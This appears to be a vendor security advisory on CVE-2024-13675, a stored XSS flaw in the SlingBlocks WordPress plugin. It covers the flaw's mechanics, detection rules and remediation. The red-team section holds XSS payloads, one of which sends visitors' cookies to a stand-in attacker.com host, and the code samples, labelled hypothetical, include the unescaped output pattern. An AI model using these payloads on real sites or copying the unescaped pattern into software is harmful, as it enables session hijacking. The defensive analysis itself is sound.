CVE-2024-13675

Executive Summary

CVE-2024-13675 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the SlingBlocks – Gutenberg Blocks by FunnelKit (Formerly WooFunnels) WordPress plugin. The flaw resides in the "Icon List" block, where insufficient input sanitization and output escaping allow authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, defacement, or data theft. The vulnerability affects all versions up to and including 1.5.0. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
• User Interaction (UI): None – No user action is needed for exploitation.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for widespread impact in WordPress environments with multiple contributors is significant.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS within the SlingBlocks plugin's "Icon List" Gutenberg block. The plugin fails to properly sanitize user-supplied input when rendering the block's content. Specifically, the icon or label fields within the block are not escaped before being stored in the database and later rendered on the frontend.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts an "Icon List" block and injects malicious JavaScript into one of the block's input fields (e.g., the icon label or URL).
3. The plugin stores the unsanitized payload in the WordPress database.
4. When any user (including administrators or visitors) views the compromised page, the injected script executes in their browser context.

Root Cause: The plugin uses echo or wp_kses_post without proper context-aware escaping for the specific block attributes. The esc_attr() or esc_html() functions are not applied to user-controlled data before output.

Vulnerable vs. Patched Code

Vulnerable Code (sling-blocks/includes/class-sling-blocks.php or similar):

// Vulnerable: Direct output without escaping
echo '<div class="sling-icon-list">';
echo '<span class="icon-label">' . $attributes['label'] . '</span>';
echo '</div>';

Patched Code (Hypothetical fix):

// Patched: Properly escape output
echo '<div class="sling-icon-list">';
echo '<span class="icon-label">' . esc_html( $attributes['label'] ) . '</span>';
echo '</div>';

The patched version would use esc_html() or esc_attr() depending on the context, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with SlingBlocks plugin <= 1.5.0
• Contributor-level account credentials

Steps:

1. Log in as a Contributor.
2. Create a new post and add the "Icon List" block.
3. In the "Label" field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

4. Publish or preview the post.
5. The script executes when the page is viewed.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual content in post revisions, especially in wp_posts.post_content containing <script> tags.
• Look for Contributor accounts creating posts with suspicious HTML attributes.

Defense:

• Update the plugin to a patched version (once available).
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns in post content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/sling-blocks/includes/class-sling-blocks.php (or similar) containing unsanitized output.
• Database: wp_posts.post_content containing <script> tags or event handlers like onerror, onload.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing posts created by Contributor accounts with unusual content.

Detection Engineering

YARA Rule

rule Detect_SlingBlocks_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-13675 in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13675"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $plugin = "sling-blocks"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS via SlingBlocks Icon List Block
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using SlingBlocks plugin
author: Valters IT
date: 2025/04/10
references:
    - CVE-2024-13675
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13675 SlingBlocks Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"sling-blocks"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Check for an updated version of SlingBlocks from the WordPress plugin repository. If a patch is available, apply it immediately.
2. Disable Plugin: If no patch is available, temporarily deactivate the SlingBlocks plugin until a fix is released.
3. Review User Roles: Audit all Contributor-level accounts and remove any that are not essential.

Long-term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a WordPress security plugin that includes XSS detection.
• Regularly update all plugins and themes.
• Enforce principle of least privilege for user roles.

Workaround:

• If the plugin cannot be disabled, manually edit the vulnerable file to add esc_html() or esc_attr() around user-controlled output (requires developer skills).

Valters IT
Securing Digital Frontiers